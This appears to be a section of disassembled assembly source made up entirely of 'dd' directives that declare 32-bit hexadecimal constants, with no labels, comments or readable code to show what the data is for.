dd 1555D8EAh, 7EA99C8h, 7098713Ch, 0E870EDFAh, 0F5D843AAh
dd 0F5717B5Fh, 2ECB1545h, 3A5541E3h, 0C1B1DC2Ah, 36994C21h
dd 0E804AB5Ah, 0B40D3C3Ah, 21EB7EF7h, 0D09AFAD8h, 0D725F444h
dd 9097392Ah, 2E5BE859h, 0B74FFF0Fh, 7C9DCA58h, 0CBD8DF31h
dd 8819F60Eh, 96118933h, 143F38B9h, 9C017C15h, 442431B0h
dd 6EC72AA7h, 9FABF521h, 9FADEDB4h, 7FD5E7A9h, 460FD534h
dd 0FCAC479Ah, 0B56A70F0h, 0BD8F3689h, 0B491EA34h, 0B10D77E9h
dd 0AE3628F8h, 0C1923D48h, 0CE448071h, 829CB1D8h, 2271D622h
dd 2239122Ch, 93DC2733h, 9C7B338Bh, 31132D14h, 0BA9BAA0Bh
dd 0C82E37C7h, 0A94F6394h, 471F6971h, 8118290h, 7E257038h
dd 8FE724C9h, 93EA0DFFh, 5F33AFC7h, 3C285A11h, 86C81294h
dd 55E5BEEh, 1311707Ah, 5F811750h, 36331BE1h, 5D1BF27Ch
dd 0B9F7A8E9h, 128DCCC8h, 89DEE597h, 0C59E5D2Ah, 1B15B391h
dd 0FDEDA93Ah, 0B2D2E682h, 61A54A65h, 7A25302Dh, 154794Dh
dd 1DDB6205h, 5E6A1616h, 45643B3h, 81420973h, 9997EB71h
dd 0A83BDFCCh, 1FA8706h, 0A98E766Eh, 0B3F4724Ch, 0B60C7178h
dd 0E1D206EFh, 2CD0456Bh, 0F31EA64Fh, 41FCE1B3h, 0C519D635h
dd 14B0907Dh, 0EAF3A8CBh, 0FDB044AFh, 0B9A71E91h, 10C5A878h
dd 52F09DFBh, 273A639Eh, 148F415Eh, 5F75E20Fh, 19A27102h
dd 18AD2FC1h, 2EA02142h, 0D7635E2Dh, 84B318C7h, 9A5DE34Fh
dd 4B2830ACh, 0ED87D482h, 1198B355h, 3B01EA94h, 43A98577h
dd 0EBB71402h, 0E400CC1Dh, 6BE08C3Bh, 10219DB3h, 7D49ED5Ch
dd 0CC5B9917h, 3A3C660h, 0C27BD634h, 255E235Dh, 861AF613h
dd 6C770C01h, 0FE2ED6B7h, 47A94676h, 692F06EAh, 3EF61496h
dd 993EFB83h, 0FC321D35h, 5B787EDFh, 679F3E16h, 5DBA1EA1h
dd 8441DFDCh, 4E57C26h, 0E230C711h, 40E3C7ABh, 9E67C44h
dd 0DA894807h, 3BA9CAB4h, 0AAFB8E29h, 0CB37C759h, 0A225DF1Fh
dd 6E796B02h, 0AFFFF740h, 0C6D356E0h, 0DFEB70Dh, 7023E83Fh
dd 46FC375Dh, 0D2B561B9h, 2B3E5C74h, 0E4A71763h, 0D8437979h
dd 761058BCh, 0CCB6A91h, 12876651h, 944D2D30h, 16EEAC3Eh
dd 0DCD65DD7h, 71B3D5BFh, 0D3B3680Bh, 468C6C33h, 5221BE2h
dd 77D18FF3h, 0A0232F18h, 0F1BFFDA9h, 1DCE7961h, 0C62CF46Ch
dd 0D4784C5h, 0DA5EDC16h, 3894547Bh, 1F0AA910h, 39B5376Eh
dd 0B4F96C8Ch, 0A40DD7D2h, 8667BD99h, 2AF9EC4Ah, 77054515h
dd 4BEFBBEh, 70C7A0CEh, 90F2B327h, 89D45030h, 34E7977Ah
dd 7506AEC8h, 0E3C79124h, 5457E039h, 37D6DE90h, 28B368F1h
dd 8144C121h, 8DAEB057h, 141F0D55h, 754D49DFh, 4C5ED868h
dd 56BE5145h, 72AFCD8Ah, 0ADF6AF80h, 44B81942h, 0CD91C818h
dd 0D4865E63h, 25264A2Fh, 1451EC97h, 0FCE48B13h, 3E89BB47h
dd 0C89DF482h, 0D5483BE0h, 783E6208h, 24A61DC7h, 0EF563586h
dd 5AA47773h, 9339B292h, 6743FB6Ch, 0AC1B9ACh, 7621297Eh
dd 93CDDE64h, 2C74B3DAh, 0FE586F1Dh, 20B7236Bh, 5685668Fh
dd 4E90074h, 11D664A6h, 79C7B37Eh, 0F2A32CD9h, 82325D77h
dd 0D9814455h, 0BD791A61h, 0C506F3E6h, 634BE32Dh, 3780EC0Ah
dd 0D968CBE2h, 0CCA1D86Ch, 699B4FC3h, 1AD0D9C0h, 0D64295FEh
dd 35747912h, 5D9E6AD7h, 0D27B33CDh, 9518930Eh, 69A65F8Ch
dd 2D513812h, 0B7DDD647h, 0D69093CBh, 6E7FC956h, 6ED9890Dh
dd 91FB0BABh, 0E3D43EBFh, 8BE38EBEh, 81D38936h, 93BC5F56h
dd 393EECA2h, 78D166E2h, 74E52C1Eh, 0D56FD969h, 0D273298h
dd 0E144AAA4h, 0B6246CDFh, 40841F38h, 7D9636Eh, 0E5542F1Ch
dd 0CD259813h, 11AF355Ah, 52A2E439h, 2D0E3D5Ch, 708ECD6Eh
dd 0F4E05FF8h, 3A9800F4h, 6555B22Ch, 765A651Dh, 0B07FB732h
dd 34B1872Ch, 0F59F723Ah, 0C9C8CECEh, 0A235BE37h, 5A94B73Bh
dd 651DC5A2h, 0CF89A3F0h, 6DCC4C0Ah, 0CE6C39ECh, 628DDCD1h
dd 79A20E82h, 0AA0129FDh, 8E9E15A7h, 0D61DCF3Fh, 0CA954A3Fh
dd 0A78BCA72h, 71DF2C77h, 557780C5h, 6A8272FDh, 3102DA91h
dd 25897D3Eh, 5D1014Fh, 61CB065Bh, 0E06DDC4Fh, 0A7C4BDF7h
dd 0A2A22D4Fh, 58EC3308h, 460056B8h, 2FB25C86h, 65F49943h
dd 0A34BA42Ah, 25183279h, 12CB7BE8h, 94D55CF7h, 30E9610h
dd 0F4366B76h, 7408C6BEh, 10510BA8h, 3338515Ah, 908F0C53h
dd 25527A96h, 7F64EF3Ch, 0F4C8AD8Eh, 77DD47A5h, 9E05308Eh
dd 0A24B32A7h, 7FE74286h, 535CA7F7h, 4F614CFCh, 0E02E02F5h
dd 0F43D7E6Dh, 8E16E66Ah, 0C08B261Ah, 0B001C1FDh, 1F756B00h
dd 0BC3BC606h, 5AAF5E2Ah, 6426867Ch, 0F1FD550Dh, 13C3EBA4h
dd 0B53D4350h, 0C6DF7B08h, 3F1FD469h, 4B2568Eh, 0B618483Dh
dd 57727B07h, 80D69883h, 16AF578Ch, 7C3E5ADDh, 0DAFDE975h
dd 0C4B29AA4h, 5A9E7D63h, 0A931E00Fh, 0DD76D985h, 0FBB81177h
dd 0F7D6FCF9h, 9E9D94A8h, 0CD8B5A6Ah, 55AAAFE0h, 756FC831h
dd 8E25EA3h, 0A40B3B60h, 0F05CB4BDh, 22F258AFh, 2CF83B56h
dd 0BA6A3422h, 34FA9D10h, 847B23CCh, 4470FBECh, 6FF22480h
dd 0DF0027Fh, 0E574934Eh, 26125DC8h, 5FC7843Bh, 0C4FCED0Eh
dd 410FDF23h, 8234994Ch, 0A5C527BBh, 0D637B522h, 0E7555B3Eh
dd 0DE59F233h, 0EDD9B884h, 20A6DE52h, 0C9FD0E3Dh, 131E4EA0h
dd 0A7D7BB21h, 6FFCB176h, 0DDDA3B2Fh, 4FA8EA2Ah, 5961B38Dh
dd 4999F831h, 2CE4211Bh, 97CDC807h, 8A116DEDh, 343AE359h
dd 20CE72FFh, 19518007h, 3B33420Eh, 52979DFEh, 0C4DA814Ch
dd 8C481C80h, 0B96734E1h, 60004A58h, 48D2F1CFh, 901422D5h
dd 23C5AFB2h, 0AFB0B2E3h, 19739A7h, 0D0ACBF8h, 291A14F0h
dd 260DB6AFh, 0CD1F4A80h, 5208AEEEh, 0F7FAC60Ah, 81241184h
dd 0F39E3EFDh, 24E06EDCh, 9F2A37EBh, 5C75C09Eh, 8157940Bh
dd 7F6EB036h, 0ABF862C2h, 0D263027Eh, 2506332Fh, 0CB004E89h
dd 438A7EC3h, 0E93A2B88h, 6442F809h, 422F9BB6h, 0B27D6C97h
dd 0D4A5B78Ah, 3A18778Eh, 2913B0D6h, 0E4AFACA5h, 437CC63Eh
dd 8C23D843h, 10CE174Dh, 24F65A65h, 0C45C8E97h, 0D7705BB6h
dd 6B891B8Bh, 3E4CDACBh, 0F8190269h, 0CA982F0Ch, 0BC68D1B1h
dd 976FC0E5h, 9AACE7E4h, 0E6B99882h, 179BF7F8h, 7405CDA2h
dd 4169E11Fh, 3981F072h, 49B0D882h, 17295A43h, 0FEA9BDC8h
dd 40384CDAh, 9DB9E0E9h, 767A00E5h, 0A1579C52h, 965A98BFh
dd 0D40229A2h, 0D793E5A8h, 0C63D89E7h, 0C76DA34Fh, 22C33D77h
dd 68DB6A5Bh, 7F7FF9FCh, 6C643D4h, 0EA2BD4E0h, 87CCAF09h
dd 728ADAE8h, 0E89440B7h, 0F75C0118h, 0E18D18FEh, 0D5BBD925h
dd 84171752h, 0BF22C16Fh, 0FB78D0ACh, 0C2C68262h, 43740D5h
dd 4B6313A1h, 0AFC0758Dh, 4F0EE57Bh, 9046BEF7h, 8F74B6ECh
dd 7C9466FEh, 0BB48DBCh, 48304049h, 897239CBh, 5E64CBD9h
dd 0C2A9F5D0h, 7D272B4Ah, 0B0D42199h, 0C35A85E4h, 0D8400689h
dd 8EF433F6h, 95DE7CA2h, 0A944402h, 7DABBB6h, 0F9E874B4h
dd 73A47F0Bh, 0D6B4AF9h, 7A7E54F6h, 0BCA6C500h, 7DD887CBh
dd 0E6CABB4Ah, 4C60C339h, 7C8107ABh, 21ABEC3Dh, 692984D7h
dd 98E42628h, 7F05A4CBh
dd 0C59A797h, 4D6C84B9h, 84DF852Dh, 49E78BAh, 96E74F5Dh
dd 4CD1DEEDh, 2CDF171Dh, 8A044822h, 74E3CC19h, 8B478233h
dd 0BEF2C412h, 0D4C6152Ah, 0AC0BB947h, 13396E92h, 938A7509h
dd 9EC1A547h, 373564ABh, 4BB859DEh, 14846A49h, 4A1709B3h
dd 0EEFE2C3Ch, 74C765DEh, 0C6BD7B12h, 0F6C10C4Dh, 353355Eh
dd 0ECB9B6C8h, 0F854ECh, 0F5243A01h, 0E8DD7AB5h, 0E310BEABh
dd 0D6B96953h, 1DB50D60h, 7CD856Ah, 79F8B3AAh, 4463F022h
dd 84A9C8D5h, 240D0CBCh, 59526CFAh, 0D31146D4h, 0F6E14EF2h
dd 0B91CB8F9h, 7A36CA75h, 0DA4C7F68h, 32B9D5ECh, 0FA480139h
dd 7E43B283h, 0FD85234h, 6B340B4h, 0A6F2B0DEh, 9FB0F486h
dd 0A18D8DC0h, 0BA3D16A9h, 16937CFCh, 3810D5C2h, 0E53C29C2h
dd 4315849Ch, 8F9D6673h, 0EAEE866Ah, 0C72AC2ACh, 0ACC5BBF6h
dd 85547DC5h, 0E87B69D1h, 7EF598A9h, 81F7C3C9h, 7246A670h
dd 9A9E6F95h, 1CD98023h, 467BD7D9h, 606FE263h, 7186CF2Dh
dd 3EE40DC2h, 4A585C4Ch, 1E09883Fh, 0FC72E316h, 1C681858h
dd 2332C91Bh, 3C8FA6BEh, 0F48EBB46h, 0B66652BDh, 445AE2DCh
dd 0D0827867h, 7CAF148Ah, 3B179C18h, 0C47DF0DEh, 5D9E8E65h
dd 0A292A63Ah, 0B5A3142Ah, 0E20F8E15h, 1DC15D59h, 2E7A5A9Ch
dd 3DAF5546h, 87C284FEh, 94A052A8h, 0DCFA409h, 8F4595E2h
dd 355CB4AAh, 0D9197CDh, 77D76390h, 27FA2726h, 0CAC875DCh
dd 73F7A9D5h, 9BFD5542h, 0BF80E049h, 3B30D2ECh, 0B52C2E38h
dd 0D4555642h, 3F02E303h, 0AE010060h, 0FBCF4830h, 0A5C2B815h
dd 5DFA41D9h, 59180AB8h, 0C295C426h, 83214042h, 0A67D9A39h
dd 3E0D12C7h, 0D23E613Ch, 0C921574h, 0E4874AA9h, 0BAED200Dh
dd 0DB273AB0h, 0EBE355B6h, 0B7A8E437h, 2BD32FE5h, 7C1D4AD6h
dd 0DC3BD42Dh, 8062839h, 0E7FBBEC0h, 0E14CB9E5h, 0C2A92174h
dd 0B2DCC27Ch, 415EF070h, 39324316h, 6BFEBFB3h, 1D332382h
dd 25DFA999h, 3399D231h, 0DCCBE883h, 0D63143AAh, 0A657514h
dd 0C69715E1h, 732FF1DCh, 8B09437Eh, 10B620B7h, 4FD56644h
dd 0A7D0AB07h, 34E49h, 49702F16h, 24425E44h, 854B2306h
dd 71EB9789h, 7B60886Ch, 0EDDB457Ah, 10D47318h, 7B354ABEh
dd 9B6FB54Ch, 4BC5D4C3h, 0DFA79300h, 4BC098C3h, 13AF662Eh
dd 0A62D951Eh, 0C6D657E6h, 8F1A384Eh, 0BB0067E8h, 0C6DBADC8h
dd 505B54A6h, 0DB22DE75h, 600AC2F7h, 0C80A36F9h, 1410F15Ch
dd 6F55BF8Eh, 383EF45Fh, 1312C345h, 0AB890F74h, 0ACE3080Eh
dd 40AF6B46h, 0A912C841h, 0BD133B8Ch, 70778C1Dh, 8AEFA864h
dd 0CE824A2Ah, 9B10D676h, 0BB078E1Fh, 0D2CC50D5h, 88FFC986h
dd 21AD0753h, 0D2C42204h, 0A5CF0C97h, 4CFC9B79h, 9E422111h
dd 608FD10Fh, 41B0DC75h, 4C6A5D0Ah, 8DDCF366h, 81B92F2Dh
dd 73D755F6h, 0FDE2C5FFh, 0E203EEF1h, 247A19CFh, 5F442FFFh
dd 0B3737653h, 0D83E91C9h, 0D93A85F5h, 0B2417765h, 0DF2E90A2h
dd 0EB729B3Ch, 0CD862203h, 0F60AC42Ah, 0D0DA98C7h, 6EE1AFC7h
dd 79D3F4E6h, 9A9E3BE0h, 0FC260C53h, 0CE5C0D02h, 0CB4C06D8h
dd 0DB916985h, 6D980CADh, 8F726E37h, 408D636Bh, 6361F851h
dd 1D919541h, 1FAB92CCh, 4A5CD25Bh, 8918FDF3h, 8FB79513h
dd 0C005F915h, 0DB1E305Ch, 0E82093F8h, 7F7E52A6h, 411BE72h
dd 735E313Ch, 97E03849h, 39BABCF5h, 0E26C145Eh, 630E7BBEh
dd 70FB30FAh, 9F86DEFBh, 0EB45CADEh, 0AA10C4CCh, 0B0F1D1E2h
dd 20657B09h, 0E83C28B4h, 0AA9B36Dh, 9D7EA4A1h, 0A57D3913h
dd 0E1D33E61h, 4C59030Ch, 0F7EF1A3Ah, 376F6297h, 372B53C7h
dd 23CC313Eh, 0E967012Eh, 3E469875h, 14D2B196h, 0C22D68D8h
dd 0CDB53A30h, 3AADB772h, 15B693EEh, 494FE911h, 4ED1EF97h
dd 2329A5D2h, 3A05CA90h, 424882A4h, 2ED5F246h, 0E3E0E379h
dd 86FB3F79h, 8EE8FC99h, 2416D6EBh, 25A7DCD0h, 1BA69953h
dd 2CC5BE20h, 54112120h, 0A6AA5692h, 0B9349DE8h, 21B2C498h
dd 0B6CD01A5h, 0DE1CC5D6h, 3D774F17h, 1C51C5C3h, 0EE2F894Bh
dd 3E695825h, 32186759h, 631D7BE1h, 15C1A4C6h, 0AA81E476h
dd 0D5A6A1A6h, 34825FB9h, 3F6E7140h, 8BB96F5Bh, 0C4DFBA7Fh
dd 5053DAF4h, 11351695h, 29D2A940h, 0DEB5084Ah, 9B0A57B0h
dd 4264B6E5h, 12386B6Ah, 1FB6FA5h, 74B0C85Eh, 2F243FDEh
dd 31C534F0h, 0BCD08BEBh, 292E7340h, 0CA939EFCh, 7D052170h
dd 0D3FDE151h, 0A7BCA6A3h, 8AC4E6Ch, 0F1C2F4B0h, 0BB1A7DBEh
dd 0FEA432AEh, 7CA21CF1h, 3E5F3C34h, 7D4669A0h, 5F7FC7E6h
dd 4FDECC16h, 0EF578879h, 861F048Dh, 0C2CD4261h, 11BA4339h
dd 0BE07A3FEh, 69E1C679h, 0CE6C809Bh, 69E1BA1Eh, 2C966BEDh
dd 2EB8AB2Fh, 60331ABDh, 2004832h, 84A7415Bh, 9B466946h
dd 0AEB68FFCh, 79C6F44Ch, 46D25157h, 96E1929Dh, 0D32947F1h
dd 0C85858EFh, 6601EDC2h, 2832D9CBh, 8BEE78B1h, 73222h
dd 2EF9B11Fh, 9972B3A2h, 0E7FEAABCh, 0E6D6A674h, 872C328h
dd 5F174E62h, 408BB4Dh, 27408E96h, 700B0DFAh, 78B74788h
dd 9C8A20A6h, 0E246F1EBh, 0BD1AB8E3h, 0A72B901Dh, 0BE86C021h
dd 0A217C022h, 594B9740h, 955076BCh, 888C36A6h, 0DF9D66FFh
dd 1616AF86h, 0B7D7DE66h, 0F9EF4329h, 98DEE969h, 0D65E7EDAh
dd 149E165Fh, 0A66BCC99h, 0B4BD201Ch, 8F9D88D3h, 4D6C0841h
dd 0A40D239Ch, 9816715Ah, 70364F08h, 3E0C8D34h, 0C462BB41h
dd 2A8C5E4Ah, 0A41860B0h, 695F92C4h, 7469BD7Ch, 605F1F75h
dd 18E63910h, 0B4378C00h, 32D94DC0h, 2AE8AA28h, 0E40A88E5h
dd 0D61E1CADh, 611187AAh, 6B95544Fh, 0C534808h, 65517636h
dd 0F0D1329Ah, 309CD83Ah, 441C46F5h, 0AD9F27A7h, 9BE750F4h
dd 0FA1EA2C5h, 5ECFD85Bh, 458CA951h, 58809D79h, 84CEC951h
dd 5D86BFCFh, 35B0CE9Fh, 0D3A6A9E9h, 0D9DF735Eh, 0ACBC5253h
dd 556C6F2h, 0CD4BC989h, 7D857901h, 38A8B14Ch, 4A1972E5h
dd 8167E5B3h, 649D6FBCh, 30A97EB5h, 0A7561D40h, 0A2190065h
dd 19F9EE76h, 0AA56808Ah, 280D60E9h, 9763F1F1h, 3461EFC5h
dd 9848469Ch, 0A84A98C3h, 3CC18996h, 1E966B38h, 0E9499849h
dd 0F1CA057Ch, 1A92DE16h, 0EA21DE99h, 0B63FDF52h, 3E745327h
dd 21D1AB61h, 65C7E46Dh, 320AB8E9h, 0C053CE47h, 0A39F31E1h
dd 65B24D58h, 5D0251E0h, 7C14CF1Dh, 6B2E7C9Bh, 7E8A3E3Ch
dd 3AE4FFC8h, 0BC54D690h, 1AD11722h, 5D14BD37h, 0C75BC4DFh
dd 11B8AFA4h, 0D01DF095h, 0A577874Fh, 8A2C6634h, 9DAAC8BDh
dd 415B659Ch, 1D895CF3h, 0DC3EA0A7h, 0C45788D1h, 0B495BE88h
dd 0B4DFBF8Fh, 12E62B1Fh, 0C7A7DE6Fh, 9EC496Fh, 0D23F55A5h
dd 0D4644C72h, 4A8687A4h, 0C0825DF8h, 62F2B2E0h, 50E2EF7Fh
dd 40855EF7h, 54215F1h, 66B22F43h, 839ADCDFh, 0CB8F997Eh
dd 0A93E42A4h, 0B4B45E10h, 9BDA61F8h, 0DAF1D4B3h, 0BDB2FA87h
dd 0C2F2393Bh, 0CC21923Eh, 568F8CB3h, 0ED8E3CF1h, 0E0BA9E62h
dd 63132148h, 314683Eh, 9C0302E8h, 4E183771h, 1C94E660h
dd 0D1728132h, 8D9FD3Dh, 3A539FC0h, 697C65D3h, 891FB681h
dd 0E47176ABh, 0AA3A6B39h, 0D94CB155h, 25E0B495h, 864450CEh
dd 0F4179134h, 0D818D621h, 2AB312A9h, 0B6FD87DCh, 6CA0F1CAh
dd 68405E4Fh, 33729E18h, 6EFA6582h, 0E9E5FE00h, 8549B522h
dd 879A32CBh, 0D4B8FF76h, 0CDB04F04h, 45A206A1h, 6D65690h
dd 0F4EBE53Ch, 4592C8FBh
dd 8FC66DA6h, 711ED027h, 0FE582D78h, 40265190h, 44166E84h
dd 0C6D11A5Fh, 0B501FC4Ah, 5CC6F8E1h, 0FD918F80h, 65E6330Fh
dd 6BC443FCh, 28B3A603h, 0C4FEFB3Bh, 855846h, 0BF35486Bh
dd 440801BFh, 4C67FF99h, 0E2A29F35h, 0FE65CB76h, 6DE2126Ch
dd 355783D0h, 8DFC9174h, 5C0B3F69h, 0E7E429Ch, 7AD8EAB9h
dd 88A3AE24h, 590297CEh, 89CBA7F8h, 0B1722073h, 6EEA5745h
dd 3FFE4494h, 3C2BFD51h, 0EF12E353h, 1686C64Ah, 962688AAh
dd 92634E60h, 1C613821h, 7F22B89Eh, 645C5CC9h, 0FD598567h
dd 0BF228F55h, 0FA33B872h, 72063EC3h, 53A30A5h, 0AFBBAF83h
dd 0F8D96A54h, 0A8610B86h, 0CDFE5789h, 0F2FB97D9h, 354E4AE7h
dd 38C6F706h, 7D01C647h, 9CA5CE39h, 0B2BD2758h, 5F7E07FFh
dd 342DA2C6h, 15EE64B9h, 0C6C43848h, 0D9A6FDFFh, 45D46270h
dd 874446E3h, 0FD763205h, 0BE96AFD7h, 0A0C1AD36h, 0B42DEDBCh
dd 5184DA25h, 10257B68h, 0DB16A047h, 0E63B992Bh, 0F3AB800Dh
dd 0FEEBD6FDh, 0B96EB342h, 10D8B27Eh, 48E5FE10h, 0FC909F78h
dd 4F880BF8h, 2D49117Ah, 348E4004h, 4A07CCB7h, 26DD9E0h
dd 0F3E7D961h, 33BEFD63h, 5FE01DE4h, 0D79B9E5Ch, 0D1635240h
dd 9B51B5FCh, 6BE25B3Eh, 80C75998h, 38956CF3h, 596CD42Bh
dd 1B2B2C32h, 8BD04771h, 6B60C25Bh, 29540896h, 88D6C92Ch
dd 8073FDABh, 0A6ED4EEEh, 5FF07692h, 144A6065h, 8B186727h
dd 2E023C1Dh, 0B9C2D05Fh, 29C1EA5Fh, 0E73A7467h, 508CF827h
dd 0E08C27A3h, 3467EC65h, 15985A31h, 0E3A01BA0h, 3EBEE5A8h
dd 1F33E48Ch, 0CCC26639h, 40867A82h, 6DE11D19h, 0AF0F438Dh
dd 48A6C2C5h, 0C76B1625h, 98BF9907h, 8ACFE916h, 0DC7E3848h
dd 0C2E4B847h, 4670F54Ah, 75EC905Ah, 0A0883096h, 41F3F44Dh
dd 6A7C3520h, 37820C76h, 91637002h, 74F3F716h, 9ED81EBBh
dd 9D0B92E2h, 0DC817BDBh, 0B64EF16Ch, 147F3784h, 75F4F8CEh
dd 53532CCAh, 67A486A1h, 7AEBAA91h, 0CD9D7E6Fh, 0D8E9E897h
dd 0EF4BC032h, 15CDB4E3h, 14AA5069h, 907BDC35h, 7F70900h
dd 777872CFh, 674A0D38h, 612DD1E2h, 0ABA5EB83h, 8D4879F8h
dd 0C6E8C198h, 48F5B0DDh, 0ADA711A3h, 0A0D15911h, 0E2666D7h
dd 0FE8B6F8Ch, 0FC3E0A90h, 14156BFEh, 0F4E2B634h, 7F41B8B0h
dd 0A2C92EC5h, 0ED7E161Ah, 0B5A1FBCDh, 5AE48534h, 0C4368185h
dd 9193BDBBh, 57DB06B7h, 0F874BE1h, 11BC6FA1h, 1364A09Ch
dd 29FA1C5Dh, 0DF62C2C3h, 1B8F70B2h, 0EF28FEAAh, 85E4E4A1h
dd 99953565h, 967A8080h, 1FA51A9Fh, 5B1DA623h, 0F52BA673h
dd 24578834h, 5648DC5Eh, 90D2B180h, 0ACA27D6Ch, 4FD68E09h
dd 2BFDD67Fh, 0BB36E2BEh, 22A2E52Dh, 2DE17DB9h, 5E9C18B2h
dd 3E6FBEE2h, 0E6CFC06Fh, 6987B5EDh, 27D191BDh, 18F47D56h
dd 0C78908E1h, 9BF37B61h, 0B33D1083h, 164A28C9h, 337107E3h
dd 1A37BE35h, 0BFCB6F8Ch, 0A0115F8h, 8DB9A39Bh, 7E71A369h
dd 5F2B3B3Dh, 269F8ADAh, 0E7BA6B26h, 0D191C16Dh, 38C824D4h
dd 508F1684h, 0D2637C17h, 6B0ADF4Fh, 0A601266h, 1C3DD242h
dd 0ED29A8F8h, 0C9B4957h, 92BB3904h, 62B6418Eh, 6BB57800h
dd 93E3EE8Ch, 9843E05Eh, 0C9AA7E07h, 72D94DE9h, 0D1ACD32Eh
dd 0AAC0FB3Dh, 2FD0EEFBh, 0DF925B19h, 6DC11B03h, 0D7F32CC6h
dd 81B6254Fh, 4DC0675Ah, 0FC9F36C7h, 51571C62h, 441B3EF9h
dd 4F5796Eh, 0EDCC6EB0h, 5B01507Eh, 0E8F43C12h, 47D2E3h
dd 0E907C3F8h, 11C95D05h, 40B33281h, 0C49FCA33h, 794DDE2Bh
dd 10D0F44Bh, 0D584DE95h, 0E3837E96h, 0CCA1370Ch, 6D8C1C58h
dd 0FE91437Dh, 18A5D835h, 0CAD99FD9h, 27CFDBEDh, 0D8F9FFFAh
dd 0F0FE2F43h, 6789B67Ah, 224F37A6h, 65C16D84h, 0AF82E55Eh
dd 0E1ED8EE8h, 925796DBh, 0E6D095F0h, 6970D6DEh, 210771D4h
dd 0D609C9h, 0FE165C38h, 809C976Ah, 636F2CA4h, 0F7A1B43Ah
dd 0A67DA2EDh, 8865E30Bh, 0ADDAC8B5h, 21613DDAh, 3832F219h
dd 56CA71F9h, 0FB101152h, 0C0192AEEh, 95BB2C96h, 9C308835h
dd 5B708949h, 29CAB5A4h, 49470CAAh, 0FEE8670Ah, 5ADC77C5h
dd 3ED5A626h, 0BC114560h, 0AF69E126h, 3A986A5Ah, 0C77226C0h
dd 34F06801h, 500A900Fh, 2881B5E3h, 36AE0D48h, 9C84AC71h
dd 65674C97h, 3E132E9Dh, 4829F6ACh, 0CBE9A949h, 0D2207530h
dd 8360D8A9h, 4AE368FCh, 5DACA510h, 0A62C611Eh, 0F8EDBBA8h
dd 8E4E1358h, 0BCFA37Ah, 0E9FE62C5h, 0D531FF26h, 0C0D2C67Ah
dd 0F25D5E67h, 7F69CAF7h, 0EEFB0050h, 0E2E5CBC8h, 0A49F6E96h
dd 32609CDAh, 5B23E080h, 0BF076CB6h, 0B6486848h, 0A1FF815Ch
dd 6D1823B1h, 12DCB38Eh, 22BF4E20h, 0DD789D54h, 0D455A33h
dd 4D4F177Fh, 0B7D13CBEh, 39011F8Bh, 0B13B7032h, 2E2E316Bh
dd 0CBBFC7C2h, 3604A81Ah, 0FEBFBD4Ch, 0BCCE4DAh, 0D9F6D452h
dd 0ED93B440h, 6BE4EBA9h, 0E4115507h, 0C5CD87E1h, 0FFAD1E91h
dd 0B1DA6781h, 94708329h, 1DAF4EB3h, 8DDF4B26h, 6E52F0D7h
dd 0B4A02264h, 31D29F37h, 4494A3EBh, 59248772h, 6A7CC74Ah
dd 9AA21229h, 0AA9F363h, 20175702h, 0FA48B3DCh, 287F4EEFh
dd 0A26A10ABh, 83A3D024h, 86FFE8CCh, 5910C8F5h, 0CC3E0B04h
dd 0DE00EE3Fh, 0FC8E2F2Fh, 0F52E0A51h, 857B40F8h, 0EBBED6A3h
dd 0A55A9DB0h, 0C4C12035h, 2BB8C4BFh, 478D30Ch, 2CD3C4E5h
dd 1DC0C2EDh, 0E17F858h, 0E3472161h, 0BE4A853Dh, 241A91F2h
dd 98B9B2DEh, 203AD0A0h, 32AE8BB3h, 2F4884ACh, 0F5F6097Ah
dd 16EA4A49h, 1D41650Eh, 0E7CA0315h, 0D2119DBFh, 0EE384117h
dd 1F486026h, 4FB10C2Ch, 94DE92DDh, 545EF727h, 28984E39h
dd 0C4245E69h, 78A6E741h, 8F3EAB87h, 6296E72Bh, 43F2A6DDh
dd 9CF24042h, 32DA99DCh, 6B753FF7h, 5E6D5012h, 2EEE0B29h
dd 0A7E85DD8h, 0D56FE2ECh, 481D4A72h, 10BAB81Dh, 4F9C9A2h
dd 0DAED64B8h, 1C0B444Ch, 33517441h, 1512D07Dh, 88EC8D45h
dd 0E4185CD5h, 0CCFA9B44h, 2591CB06h, 5AD3A280h, 63B0EEDBh
dd 0D10732A2h, 13EA82FAh, 41489F77h, 7ADD864Eh, 0E4C994D8h
dd 7646A6C5h, 0CCB495B4h, 797C7E85h, 0A602D765h, 0F6FE946Ch
dd 0F192335Fh, 1376E721h, 0C3ADDD5h, 68BD1660h, 3B2B30DDh
dd 0A457C623h, 9F9FF1FEh, 0C461476Ch, 0C3544BF0h, 82500C2Ch
dd 0E9E7A3FDh, 0A875FCD5h, 546295D1h, 0A86A739Ch, 8700512h
dd 0D6D97ADh, 0C427B6AFh, 914A8D41h, 0C4FCEA41h, 8C79BE3Dh
dd 0A49AEE55h, 0AA72C219h, 696ABD55h, 8192811Dh, 0FD5F5A4Ah
dd 2192CACDh, 0EFB35316h, 37FC977Bh, 59C174A5h, 0F2104529h
dd 67F5C50Bh, 4D7D3C48h, 0B4C7A047h, 0A24F4064h, 9212DC21h
dd 0BE45112Dh, 8E58F17Dh, 0DAE4CA60h, 0FDBAE956h, 581F2688h
dd 6BDD4EC2h, 95705CD0h, 0E8C4D1FAh, 964A5779h, 907AFB4Fh
dd 64EA811Ch, 6ED8867Dh, 0E42832A5h, 0BCD925CDh, 1773C0B0h
dd 0A6D71696h, 76C3EF6Ch, 79831997h, 0A4C1A0F3h, 68E024F6h
dd 1CA7939h, 375DEEFBh, 0F5A12FFCh, 22D0799h, 7A730D58h
dd 0EBC15FD7h, 0F5C683F4h, 0AE0DF47Ah, 9FE20F6Fh, 3058C325h
dd 0BE517EDDh, 39E4BFD7h, 0C2DA9D77h, 0FF364F7Ch, 6F3B1BA0h
dd 85FAA4CAh, 22B611BCh, 872D743Ah, 0F05CDCB1h, 37AB1FE2h
dd 4C8E1480h, 3DED2606h, 124D4F3h, 0F2F3CD9Dh, 33298316h
dd 0E4668A98h, 6F09A456h, 0D14A4ECEh, 36C51074h, 0E13E7230h
dd 1E033359h, 0C748333Ah
dd 8C6140F1h, 93657F2Ch, 6C7A8A35h, 0F8043DA0h, 7FA30E19h
dd 371F8F81h, 27EDE3BFh, 0AE5DA399h, 0D7D0B26Dh, 0F3D337h
dd 0DE72EA3Dh, 903288B6h, 0A83E295Ch, 3D26D5BCh, 52E911AAh
dd 3AAD6D48h, 0FF4DB435h, 0FAE20240h, 7BCF0AF4h, 29E8A6E3h
dd 54193AB9h, 0D6935DBDh, 5F221280h, 0B656BAF3h, 0BDAE942Dh
dd 8950E080h, 0F8F6FBB3h, 0F6C4C9E8h, 5E906AEEh, 36C05B94h
